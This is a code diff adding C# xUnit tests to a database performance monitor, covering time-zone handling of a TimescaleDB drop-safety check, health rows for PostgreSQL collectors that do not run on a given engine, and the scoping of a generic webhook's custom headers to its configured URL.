+            /* The freeze verdict reads the store session's own clock, which the test clock override cannot move (#5608), so this seed stays on the real clock. */
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+            var h = new DateTime(now.Year, now.Month, now.Day, now.Hour, 0, 0, DateTimeKind.Unspecified);
+
+            /* Raw's oldest row, and the one hour the legacy materialized: the floor the stitch compares is
+               covered, so only a hole in the probe's range can make the verdict false. */
+            await InsertProcedureStatsAsync(connection, h.AddHours(-72), "zone_floor_proc", 900, 9, 3600, ct);
+            await RefreshAsync(connection, TimescaleSupport.ProcedureStatsHourlyView, h.AddHours(-72), h.AddHours(-71), ct);
+            Assert.Equal(0L, await CountRowsAsync(connection, TimescaleSupport.ProcedureStatsIntervalHourlyView, ct));
+
+            /* No DST in any of the three, so the offsets hold on every day the test runs. */
+            var zones = new (string Zone, TimeSpan Offset)[]
+            {
+                ("UTC", TimeSpan.Zero),
+                ("America/Phoenix", TimeSpan.FromHours(-7)),
+                ("Asia/Tokyo", TimeSpan.FromHours(9)),
+            };
+
+            /* A real hole, 27 hours back: neither side materialized it and raw holds a row in it. */
+            await InsertProcedureStatsAsync(connection, h.AddHours(-27), "zone_hole_proc", 900, 9, 3600, ct);
+            foreach (var (zone, offset) in zones)
+            {
+                await using var session = await OpenSessionInZoneAsync(scratch.ConnectionString, zone, offset, ct);
+                Assert.False(
+                    await TimescaleSupport.IsRawTierDropSafeAsync(session, "procedure_stats", ct),
+                    $"a hole 27 hours back was missed in a {zone} session");
+            }
+
+            /* No hole: the row is 20 hours back, inside the window the successor's first refresh will reach. */
+            await using (var delete = new NpgsqlCommand("DELETE FROM collect.procedure_stats WHERE object_name = 'zone_hole_proc'", connection))
+            {
+                Assert.Equal(1, await delete.ExecuteNonQueryAsync(ct));
+            }
+
+            await InsertProcedureStatsAsync(connection, h.AddHours(-20), "zone_fresh_proc", 900, 9, 3600, ct);
+            foreach (var (zone, offset) in zones)
+            {
+                await using var session = await OpenSessionInZoneAsync(scratch.ConnectionString, zone, offset, ct);
+                Assert.True(
+                    await TimescaleSupport.IsRawTierDropSafeAsync(session, "procedure_stats", ct),
+                    $"a row 20 hours back was called a hole in a {zone} session");
+            }
+
+            /* A relation with no stitched slot builds a statement that never names the horizon, and must still run:
+               a failed measure reads Unknown, which reads false here. Its source is empty, so it is Covered. */
+            Assert.True(await TimescaleSupport.IsRawTierDropSafeAsync(connection, "query_store_stats", ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await using var probe = new NpgsqlCommand(
+                    "SELECT count(*) FROM pg_catalog.pg_stat_activity WHERE datname = pg_catalog.current_database() " +
+                    "AND backend_type LIKE 'TimescaleDB Background Worker Scheduler%'", cleanup);
+                var schedulers = Convert.ToInt64(await probe.ExecuteScalarAsync(cleanupCt));
+                Assert.Equal(0L, schedulers);
+            });
+        }
+    }
+
+    /// <summary>
+    /// A second session on the same store, set to <paramref name="zone"/>, with the zone proven in force: the
+    /// session's clock as a naive timestamp must sit <paramref name="expectedOffset"/> away from the UTC one, or
+    /// the test that asked for it would prove nothing.
+    /// </summary>
+    private static async Task<NpgsqlConnection> OpenSessionInZoneAsync(
+        string connectionString, string zone, TimeSpan expectedOffset, CancellationToken ct)
+    {
+        var session = new NpgsqlConnection(connectionString);
+        try
+        {
+            await session.OpenAsync(ct);
+            await using (var set = new NpgsqlCommand($"SET TIME ZONE '{zone}'", session))
+            {
+                await set.ExecuteNonQueryAsync(ct);
+            }
+
+            await using var read = new NpgsqlCommand("SELECT now()::timestamp - (now() AT TIME ZONE 'UTC')", session);
+            Assert.Equal(expectedOffset, (TimeSpan)(await read.ExecuteScalarAsync(ct))!);
+            return session;
+        }
+        catch
+        {
+            await session.DisposeAsync();
+            throw;
+        }
+    }
+
     /// <summary>
     /// #4301, PIN A (interior hole -&gt; false): the legacy's OWN interior has a gap (hour H2 refreshed by
     /// neither side, despite raw admitting a row there) below its last bucket (H5), and the successor holds a
diff --git a/Darling/Darling.Tests/GatedCollectorRowsTests.cs b/Darling/Darling.Tests/GatedCollectorRowsTests.cs
new file mode 100644
index 0000000000..2cc38e030c
--- /dev/null
+++ b/Darling/Darling.Tests/GatedCollectorRowsTests.cs
@@ -0,0 +1,529 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: each live fact mints its own scratch database through ScratchPostgres and never touches the shared
+   store's tables, so it cannot race the live collection. */
+
+/// <summary>
+/// #5249: <c>get_collection_health</c> lists the PostgreSQL collectors the server's engine does not collect, which
+/// write no log row and so used to be missing from the web PG Overview. The pure helper, its wiring through the real
+/// tool, the roll-up identity (the new rows feed nothing) and the page.
+/// </summary>
+public sealed class GatedCollectorRowsTests
+{
+    private sealed class FakeCollector : ICollectorSchemaInfo
+    {
+        public FakeCollector(string name, CollectorTargetEngine engine = CollectorTargetEngine.PostgreSql)
+        {
+            Name = name;
+            TargetEngine = engine;
+        }
+
+        public CollectorTargetEngine TargetEngine { get; }
+        public string Name { get; }
+        public string TargetTable => Name;
+        public bool IncludesCollectionId => true;
+        public string PrefixIdColumnName => "collection_id";
+        public string PrefixTimeColumnName => "collection_time";
+        public IReadOnlyList<CollectorColumn> PayloadColumns => Array.Empty<CollectorColumn>();
+        public bool YieldsOnLockTimeout => false;
+        public TimeSpan? PerItemWallClockBudget => null;
+        public IReadOnlyList<string> StateKeys => Array.Empty<string>();
+        public bool AppliesTo(CollectorTargetInfo target) => true;
+    }
+
+    private static (string Collector, string Status, string Message)[] Decode(IReadOnlyList<object> rows) =>
+        rows.Select(r =>
+        {
+            using var doc = JsonDocument.Parse(JsonSerializer.Serialize(r));
+            var e = doc.RootElement;
+            Assert.Equal(new[] { "collector", "status", "message" }, e.EnumerateObject().Select(p => p.Name).ToArray());
+            return (e.GetProperty("collector").GetString()!, e.GetProperty("status").GetString()!, e.GetProperty("message").GetString()!);
+        }).ToArray();
+
+    private static readonly ICollectorSchemaInfo[] Catalog =
+    {
+        new FakeCollector("zz_gated"),
+        new FakeCollector("aa_gated"),
+        new FakeCollector("mm_collected"),
+        new FakeCollector("bb_logged_and_gated"),
+        new FakeCollector("sql_only", CollectorTargetEngine.SqlServer),
+    };
+
+    private static string? Message(string name) => name is "zz_gated" or "aa_gated" or "bb_logged_and_gated" or "sql_only" ? "gap: " + name : null;
+
+    [Fact]
+    public void AGatedCollectorAppears_ACollectedOneDoesNot_AndAGatedOneThatLoggedIsNotDuplicated()
+    {
+        var rows = Decode(DarlingGatedCollectorRows.Rows(
+            Catalog, MonitoredEngineKind.Postgres, new HashSet<string> { "bb_logged_and_gated" }, Message));
+
+        Assert.Equal(
+            new[] { ("aa_gated", "not_collected", "gap: aa_gated"), ("zz_gated", "not_collected", "gap: zz_gated") },
+            rows);
+    }
+
+    [Fact]
+    public void TheRowsAreOrderedByCollectorNameOrdinal_NotByCatalogOrder()
+    {
+        var catalog = new ICollectorSchemaInfo[] { new FakeCollector("b_x"), new FakeCollector("B_y"), new FakeCollector("a_z"), new FakeCollector("_w") };
+        var rows = Decode(DarlingGatedCollectorRows.Rows(catalog, MonitoredEngineKind.Postgres, new HashSet<string>(), n => "m " + n));
+
+        Assert.Equal(new[] { "B_y", "_w", "a_z", "b_x" }, rows.Select(r => r.Collector).ToArray());
+    }
+
+    [Theory]
+    [InlineData(MonitoredEngineKind.SqlServer)]
+    [InlineData(null)]
+    [InlineData("a-token-from-a-newer-build")]
+    public void AServerThatIsNotKnownToBePostgreSql_GetsNoRows(string? engineKind)
+    {
+        Assert.Empty(DarlingGatedCollectorRows.Rows(Catalog, engineKind, new HashSet<string>(), Message));
+    }
+
+    [Fact]
+    public void TheRealCatalog_ListsExactlyWhatTheCapabilityAnswerSays_OnStockAndOnAurora()
+    {
+        foreach (var kind in new[] { MonitoredEngineKind.Postgres, MonitoredEngineKind.AuroraPostgres })
+        {
+            var listed = Decode(DarlingGatedCollectorRows.Rows(
+                CollectorCatalog.All, kind, new HashSet<string>(),
+                n => CollectorEngineCapability.NotCollectedMessage("alpha-a", 0, kind, n))).Select(r => r.Collector).ToArray();
+            var expected = CollectorCatalog.All
+                .Where(d => d.TargetEngine == CollectorTargetEngine.PostgreSql && !CollectorEngineCapability.IsCollectedOnEngineKind(d, kind))
+                .Select(d => d.Name).OrderBy(n => n, StringComparer.Ordinal).ToArray();
+
+            Assert.NotEmpty(expected);
+            Assert.Equal(expected, listed);
+        }
+    }
+
+    // ───────────────────────── the page ─────────────────────────
+
+    private static JsonElement RunHarness()
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-gated-collectors-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page scripts cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(30000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the gated-collectors harness did not finish in 30 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "the gated-collectors harness failed: " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            return doc.RootElement.Clone();
+        }
+    }
+
+    [Fact]
+    public void ThePgOverview_PaintsANotCollectedRowNeutrally_WithItsSentence_AndAddsNoColumnWithoutOne()
+    {
+        var run = RunHarness();
+
+        var with = run.GetProperty("withGated");
+        var heads = with.GetProperty("heads").EnumerateArray().Select(h => h.GetString()).ToArray();
+        Assert.Equal("Why not collected", heads[^1]);
+        var rows = with.GetProperty("rows").EnumerateArray().ToArray();
+        Assert.Equal(2, rows.Length);
+
+        var gated = rows[1].EnumerateArray().ToArray();
+        Assert.Equal("pg_wait_stats", gated[0].GetProperty("text").GetString());
+        Assert.Equal("not_collected", gated[1].GetProperty("text").GetString());
+        Assert.Contains("sev-Unknown", gated[1].GetProperty("cls").GetString(), StringComparison.Ordinal);
+        Assert.DoesNotContain("sev-Critical", gated[1].GetProperty("cls").GetString(), StringComparison.Ordinal);
+        Assert.DoesNotContain("sev-Warning", gated[1].GetProperty("cls").GetString(), StringComparison.Ordinal);
+        Assert.Contains("does not run on that engine", gated[^1].GetProperty("text").GetString(), StringComparison.Ordinal);
+
+        Assert.Equal("sev-Healthy", rows[0].EnumerateArray().ToArray()[1].GetProperty("cls").GetString());
+
+        foreach (var arm in new[] { "withoutGated", "sqlServerWithout" })
+        {
+            var h = run.GetProperty(arm).GetProperty("heads").EnumerateArray().Select(x => x.GetString()).ToArray();
+            Assert.DoesNotContain("Why not collected", h);
+        }
+    }
+
+    [Fact]
+    public void TheCollectionLogPanelsEmptySentence_StaysAsItWas()
+    {
+        var tabs = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js");
+        Assert.Contains("so an absence here is the gate working.", tabs, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheToolIsCalledFromOneLine()
+    {
+        var source = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpDataTools.cs");
+        Assert.Equal(1, source.Split("DarlingGatedCollectorRows.AppendAsync(", StringSplitOptions.None).Length - 1);
+    }
+}
+
+/* #1776 own-store: each fact mints its own scratch database through ScratchPostgres and never touches the shared store. */
+
+/// <summary>The same facts through the real tool against a store.</summary>
+public sealed class GatedCollectorRowsLiveTests
+{
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private sealed record Rig(NpgsqlConnection Connection, NpgsqlDataSource Postgres);
+
+    private static async Task RegisterAsync(NpgsqlConnection c, int id, string name, string? kind, int? major, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand(
+            """
+            INSERT INTO servers (server_id, server_name, display_name, is_enabled, engine_kind, postgres_major_version, created_date, modified_date)
+            VALUES ($1, $2, $2, TRUE, $3, $4, $5, $5)
+            ON CONFLICT (server_id) DO UPDATE SET engine_kind = EXCLUDED.engine_kind
+            """, c);
+        cmd.Parameters.AddWithValue(id);
+        cmd.Parameters.AddWithValue(name);
+        cmd.Parameters.AddWithValue(kind is null ? DBNull.Value : kind);
+        cmd.Parameters.AddWithValue(major.HasValue ? major.Value : DBNull.Value);
+        cmd.Parameters.AddWithValue(DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified));
+        await cmd.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task LogAsync(NpgsqlConnection c, int id, string server, string collector, int minutesAgo, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand(
+            """
+            INSERT INTO collection_log (log_id, collection_time, server_id, server_name, collector_name, status, duration_ms, rows_collected)
+            VALUES ($1, $2, $3, $4, $5, 'SUCCESS', 100, 10)
+            """, c);
+        cmd.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        cmd.Parameters.AddWithValue(DateTime.SpecifyKind(DateTime.UtcNow.AddMinutes(-minutesAgo), DateTimeKind.Unspecified));
+        cmd.Parameters.AddWithValue(id);
+        cmd.Parameters.AddWithValue(server);
+        cmd.Parameters.AddWithValue(collector);
+        await cmd.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task SetKindAsync(NpgsqlConnection c, int id, string? kind, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand("UPDATE servers SET engine_kind = $2 WHERE server_id = $1", c);
+        cmd.Parameters.AddWithValue(id);
+        cmd.Parameters.AddWithValue(kind is null ? DBNull.Value : kind);
+        await cmd.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<(string Json, JsonDocument Doc)> HealthAsync(NpgsqlDataSource postgres, string server, bool full, CancellationToken ct)
+    {
+        var json = await DarlingMcpDataTools.GetCollectionHealth(postgres, server, full_detail: full, cancellationToken: ct);
+        return (json, JsonDocument.Parse(json));
+    }
+
+    private static string[] Names(JsonElement collectors) =>
+        collectors.EnumerateArray().Select(r => r.GetProperty("collector").GetString()!).ToArray();
+
+    /// <summary>The payload with <c>collectors</c> and the memo's age taken out: everything a roll-up could have read.</summary>
+    private static string Rollups(JsonDocument doc)
+    {
+        var map = new SortedDictionary<string, string>(StringComparer.Ordinal);
+        foreach (var p in doc.RootElement.EnumerateObject())
+        {
+            if (p.Name is "collectors" or "collection_health_age_seconds") continue;
+            map[p.Name] = p.Value.GetRawText();
+        }
+
+        return string.Join("\n", map.Select(kv => kv.Key + "=" + kv.Value));
+    }
+
+    private static async Task RunAsync(Func<NpgsqlConnection, NpgsqlDataSource, CancellationToken, Task> body)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to a Postgres connection string to run the gated-collector health pins (each mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var bodySucceeded = false;
+        try
+        {
+            await body(connection, postgres, ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Fact]
+    public async Task AStockPostgresServer_ListsItsKindGatedCollectors_AfterTheLogRows_ByName_AndNotOnesThatLogged()
+    {
+        await RunAsync(async (connection, postgres, ct) =>
+        {
+            const int id = 524_901;
+            const string server = "gated-alpha-a";
+            await RegisterAsync(connection, id, server, MonitoredEngineKind.Postgres, 15, ct);
+            // Log order is today's order (the read sorts it); pg_wait_stats is gated on stock PostgreSQL but DID log here.
+            foreach (var name in new[] { "pg_database_stats", "pg_lock_stats", "pg_wait_stats" })
+                await LogAsync(connection, id, server, name, 5, ct);
+
+            var expectedGated = CollectorCatalog.All
+                .Where(d => d.TargetEngine == CollectorTargetEngine.PostgreSql && !CollectorEngineCapability.IsCollectedOnEngineKind(d, MonitoredEngineKind.Postgres))
+                .Select(d => d.Name).Where(n => n != "pg_wait_stats").OrderBy(n => n, StringComparer.Ordinal).ToArray();
+            Assert.Contains("pg_cpu_utilization", expectedGated);
+
+            foreach (var full in new[] { false, true })
+            {
+                var (_, doc) = await HealthAsync(postgres, server, full, ct);
+                using (doc)
+                {
+                    var collectors = doc.RootElement.GetProperty("collectors");
+                    var names = Names(collectors);
+                    var logged = names.Take(3).ToArray();
+                    Assert.Equal(new[] { "pg_database_stats", "pg_lock_stats", "pg_wait_stats" }.OrderBy(n => n, StringComparer.Ordinal).ToArray(), logged.OrderBy(n => n, StringComparer.Ordinal).ToArray());
+                    Assert.Equal(expectedGated, names.Skip(3).ToArray());
+                    Assert.Equal(1, names.Count(n => n == "pg_wait_stats"));
+
+                    foreach (var row in collectors.EnumerateArray().Skip(3))
+                    {
+                        // The same three keys in the full, compact and partial shapes alike: no counts, no times.
+                        Assert.Equal(new[] { "collector", "status", "message" }, row.EnumerateObject().Select(p => p.Name).ToArray());
+                        Assert.Equal("not_collected", row.GetProperty("status").GetString());
+                        var name = row.GetProperty("collector").GetString()!;
+                        Assert.Equal(CollectorEngineCapability.NotCollectedMessage(server, 0, MonitoredEngineKind.Postgres, name), row.GetProperty("message").GetString());
+                    }
+                }
+            }
+        });
+    }
+
+    [Fact]
+    public async Task AnAuroraServer_ListsTheSampler_NotTheAuroraOnlyReaders()
+    {
+        await RunAsync(async (connection, postgres, ct) =>
+        {
+            const int id = 524_902;
+            const string server = "gated-alpha-b";
+            await RegisterAsync(connection, id, server, MonitoredEngineKind.AuroraPostgres, 16, ct);
+            await LogAsync(connection, id, server, "pg_database_stats", 5, ct);
+
+            var (_, doc) = await HealthAsync(postgres, server, false, ct);
+            using (doc)
+            {
+                var names = Names(doc.RootElement.GetProperty("collectors"));
+                Assert.Contains("pg_wait_sampling", names);
+                Assert.DoesNotContain("pg_wait_stats", names);
+                Assert.DoesNotContain("pg_cpu_utilization", names);
+            }
+        });
+    }
+
+    [Fact]
+    public async Task TheGatedRowsFeedNoRollup_EveryOtherKeyIsIdenticalWithAndWithoutThem_AndStoredCaveatsStayIntact()
+    {
+        await RunAsync(async (connection, postgres, ct) =>
+        {
+            const int id = 524_903;
+            const string server = "gated-alpha-c";
+            await RegisterAsync(connection, id, server, MonitoredEngineKind.Postgres, 15, ct);
+            foreach (var name in new[] { "pg_database_stats", "pg_lock_stats", "pg_session_states" })
+                for (var i = 0; i < 4; i++)
+                    await LogAsync(connection, id, server, name, 3 + i * 30, ct);
+            await CollectionCaveatStore.ApplyPassAsync(
+                postgres, id, new[] { new CollectionCaveatStore.UnreadFamily("waits", "timeout") }, DateTime.UtcNow, null, ct);
+
+            foreach (var full in new[] { false, true })
+            {
+                await SetKindAsync(connection, id, MonitoredEngineKind.Postgres, ct);
+                var (_, withGated) = await HealthAsync(postgres, server, full, ct);
+                await SetKindAsync(connection, id, null, ct);
+                var (_, without) = await HealthAsync(postgres, server, full, ct);
+                using (withGated)
+                using (without)
+                {
+                    var gatedNames = Names(withGated.RootElement.GetProperty("collectors"));
+                    var plainNames = Names(without.RootElement.GetProperty("collectors"));
+                    Assert.True(gatedNames.Length > plainNames.Length, "the PostgreSQL arm must have appended rows");
+                    Assert.Equal(plainNames, gatedNames.Take(plainNames.Length).ToArray());
+
+                    // Same log rows in the same order, byte for byte.
+                    Assert.Equal(
+                        string.Join(",", without.RootElement.GetProperty("collectors").EnumerateArray().Select(r => r.GetRawText())),
+                        string.Join(",", withGated.RootElement.GetProperty("collectors").EnumerateArray().Take(plainNames.Length).Select(r => r.GetRawText())));
+
+                    // sweep_pressure, alert_read_health, the counts note, stored_caveats and every other key.
+                    Assert.Equal(Rollups(without), Rollups(withGated));
+                    Assert.Single(withGated.RootElement.GetProperty("stored_caveats").EnumerateArray());
+                    Assert.Single(without.RootElement.GetProperty("stored_caveats").EnumerateArray());
+                }
+            }
+        });
+    }
+
+    [Fact]
+    public async Task ASqlServerServer_IsUnchanged_AndAPostgresServerWithNoLogRowsStillAnswersUnavailable()
+    {
+        await RunAsync(async (connection, postgres, ct) =>
+        {
+            const int sqlId = 524_904;
+            const string sqlServer = "gated-alpha-d";
+            await RegisterAsync(connection, sqlId, sqlServer, MonitoredEngineKind.SqlServer, null, ct);
+            await LogAsync(connection, sqlId, sqlServer, "wait_stats", 5, ct);
+
+            var (_, doc) = await HealthAsync(postgres, sqlServer, false, ct);
+            using (doc)
+            {
+                Assert.Equal(new[] { "wait_stats" }, Names(doc.RootElement.GetProperty("collectors")));
+            }
+
+            const int pgId = 524_905;
+            const string pgServer = "gated-alpha-e";
+            await RegisterAsync(connection, pgId, pgServer, MonitoredEngineKind.Postgres, 15, ct);
+            var empty = await DarlingMcpDataTools.GetCollectionHealth(postgres, pgServer, cancellationToken: ct);
+            using var emptyDoc = JsonDocument.Parse(empty);
+            Assert.Equal("unavailable", emptyDoc.RootElement.GetProperty("status").GetString());
+            Assert.False(emptyDoc.RootElement.TryGetProperty("collectors", out _));
+        });
+    }
+
+    private static async Task PlantHadrAsync(NpgsqlConnection c, int id, string server, bool hadr, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand(
+            """
+            INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, is_hadr_enabled)
+            VALUES ($1, $2, $3, $4, $5)
+            """, c);
+        cmd.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        cmd.Parameters.AddWithValue(DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified));
+        cmd.Parameters.AddWithValue(id);
+        cmd.Parameters.AddWithValue(server);
+        cmd.Parameters.AddWithValue(hadr);
+        await cmd.ExecuteNonQueryAsync(ct);
+    }
+
+    [Fact]
+    public async Task ASqlServerWithoutAlwaysOn_ListsTheTwoAgCollectorsAsNotApplicable_AndOneWithAlwaysOnOrNoPropertiesDoesNot()
+    {
+        await RunAsync(async (connection, postgres, ct) =>
+        {
+            /* Click-through 5: the two AG collectors run and log HEALTHY with zero rows on a SQL Server that has no
+               Always On. The server's latest properties row saying so turns them into not_collected rows. */
+            string[] ag = { "ag_database_replica_states", "ag_replica_states" };
+            async Task LogAllAsync(int id, string server)
+            {
+                await RegisterAsync(connection, id, server, MonitoredEngineKind.SqlServer, null, ct);
+                await LogAsync(connection, id, server, "wait_stats", 5, ct);
+                foreach (var name in ag) await LogAsync(connection, id, server, name, 5, ct);
+            }
+
+            async Task<JsonElement[]> RowsAsync(string server, bool full)
+            {
+                var (_, doc) = await HealthAsync(postgres, server, full, ct);
+                using (doc)
+                {
+                    return doc.RootElement.GetProperty("collectors").EnumerateArray().Select(r => r.Clone()).ToArray();
+                }
+            }
+
+            const int offId = 524_911;
+            await LogAllAsync(offId, "alwayson-off");
+            await PlantHadrAsync(connection, offId, "alwayson-off", false, ct);
+            const int onId = 524_912;
+            await LogAllAsync(onId, "alwayson-on");
+            await PlantHadrAsync(connection, onId, "alwayson-on", true, ct);
+            const int noneId = 524_913;
+            await LogAllAsync(noneId, "alwayson-unknown");
+
+            foreach (var full in new[] { false, true })
+            {
+                var off = await RowsAsync("alwayson-off", full);
+                Assert.Equal(1, off.Count(r => r.GetProperty("collector").GetString() == "wait_stats"));
+                foreach (var name in ag)
+                {
+                    var row = off.Single(r => r.GetProperty("collector").GetString() == name);
+                    Assert.Equal("not_collected", row.GetProperty("status").GetString());
+                    Assert.Equal(DarlingGatedCollectorRows.AlwaysOnOffMessage, row.GetProperty("message").GetString());
+                    Assert.Equal(new[] { "collector", "status", "message" }, row.EnumerateObject().Select(p => p.Name).ToArray());
+                }
+
+                foreach (var server in new[] { "alwayson-on", "alwayson-unknown" })
+                {
+                    var rows = await RowsAsync(server, full);
+                    Assert.Equal(3, rows.Length);
+                    Assert.DoesNotContain(rows, r => r.GetProperty("status").GetString() == "not_collected");
+                }
+            }
+        });
+    }
+
+    [Fact]
+    public async Task TheResponseSize_OnAPostgresServerWithEveryCollectorLogged_StaysUnderTheBudgetCeiling()
+    {
+        await RunAsync(async (connection, postgres, ct) =>
+        {
+            const int id = 524_906;
+            const string server = "gated-alpha-f";
+            await RegisterAsync(connection, id, server, MonitoredEngineKind.Postgres, 15, ct);
+            var collectors = CollectorCatalog.All
+                .Where(d => d.TargetEngine == CollectorTargetEngine.PostgreSql && CollectorEngineCapability.IsCollectedOnEngineKind(d, MonitoredEngineKind.Postgres))
+                .Select(d => d.Name).ToArray();
+            foreach (var name in collectors)
+                await LogAsync(connection, id, server, name, 5, ct);
+
+            var sizes = new List<string>();
+            foreach (var full in new[] { false, true })
+            {
+                await SetKindAsync(connection, id, null, ct);
+                var (before, b) = await HealthAsync(postgres, server, full, ct);
+                b.Dispose();
+                await SetKindAsync(connection, id, MonitoredEngineKind.Postgres, ct);
+                var (after, a) = await HealthAsync(postgres, server, full, ct);
+                a.Dispose();
+                var beforeBytes = Encoding.UTF8.GetByteCount(before);
+                var afterBytes = Encoding.UTF8.GetByteCount(after);
+                sizes.Add($"full_detail={full}: {beforeBytes} -> {afterBytes} bytes (+{afterBytes - beforeBytes})");
+                Console.WriteLine($"get_collection_health PG response, full_detail={full}: {beforeBytes} -> {afterBytes} bytes (+{afterBytes - beforeBytes})");
+                if (!full) Assert.True(afterBytes <= McpResponseBudget.DefaultBytes * 4 / 5, $"{afterBytes} bytes is over the ceiling");
+            }
+
+            Console.WriteLine("get_collection_health PG response: " + string.Join("; ", sizes));
+            Assert.All(sizes, s => Assert.Matches(@"\d+ -> \d+ bytes \(\+[1-9]\d*\)", s));
+        });
+    }
+}
diff --git a/Darling/Darling.Tests/GenericWebhookHeadersOriginTests.cs b/Darling/Darling.Tests/GenericWebhookHeadersOriginTests.cs
new file mode 100644
index 0000000000..2b3a87cccc
--- /dev/null
+++ b/Darling/Darling.Tests/GenericWebhookHeadersOriginTests.cs
@@ -0,0 +1,182 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Net;
+using System.Net.Sockets;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Notifications;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5366: the generic webhook's configured headers go only to the generic URL itself or a path under it (same
+/// scheme, host and port, and the path equal or continuing at a "/"), and are never sent across a redirect. The
+/// sender is shared with Lite, which pins the same rule.
+/// </summary>
+public sealed class GenericWebhookHeadersOriginTests
+{
+    private static readonly Dictionary<string, string> Headers = new() { ["X-Fake-Key"] = "not-real-value" };
+
+    [Theory]
+    [InlineData("https://example.test/a", "https://example.test/a", true)]
+    [InlineData("HTTPS://EXAMPLE.TEST:443/a", "https://example.test/a", true)]
+    [InlineData("https://example.test/alerts/team-a", "https://example.test/alerts", true)]
+    [InlineData("https://example.test/alerts/team-a", "https://example.test/alerts/", true)]
+    [InlineData("https://example.test/alerts?x=1", "https://example.test/alerts?y=2", true)]
+    [InlineData("https://example.test/", "https://example.test", true)]
+    [InlineData("https://example.test", "https://example.test/", true)]
+    [InlineData("https://example.test/anything", "https://example.test", false)]
+    [InlineData("https://example.test/anything", "https://example.test/", false)]
+    [InlineData("https://example.test/alerts%2Fteam-a", "https://example.test/alerts", false)]
+    [InlineData("https://example.test/alerts/team%2fa", "https://example.test/alerts", false)]
+    [InlineData("https://example.test/alerts/team%5Ca", "https://example.test/alerts", false)]
+    [InlineData("https://example.test/alerts%5cteam-a", "https://example.test/alerts", false)]
+    [InlineData("https://example.test/a%2Fb", "https://example.test/a%2Fb", false)]
+    [InlineData("https://example.test/alerts2", "https://example.test/alerts", false)]
+    [InlineData("https://example.test/other", "https://example.test/alerts", false)]
+    [InlineData("https://example.test/Alerts", "https://example.test/alerts", false)]
+    [InlineData("https://example.test/alerts/../other", "https://example.test/alerts", false)]
+    [InlineData("https://example.test", "https://example.test/alerts", false)]
+    [InlineData("http://example.test/a", "https://example.test/a", false)]
+    [InlineData("https://other.example.test/a", "https://example.test/a", false)]
+    [InlineData("https://example.test:8443/a", "https://example.test/a", false)]
+    [InlineData("", "https://example.test/a", false)]
+    [InlineData("not a url", "not a url", false)]
+    public void HeadersApplyTo_ComparesOriginAndPath(string route, string generic, bool expected) =>
+        Assert.Equal(expected, WebhookAlertService.HeadersApplyTo(route, generic));
+
+    [Fact]
+    public async Task ASendWithHeaders_ToAnEndpointThatAnswersOk_CarriesTheHeaders()
+    {
+        using var endpoint = new LoopbackEndpoint(redirectTo: null);
+
+        var error = await Post(endpoint.Url, Headers);
+
+        Assert.Null(error);
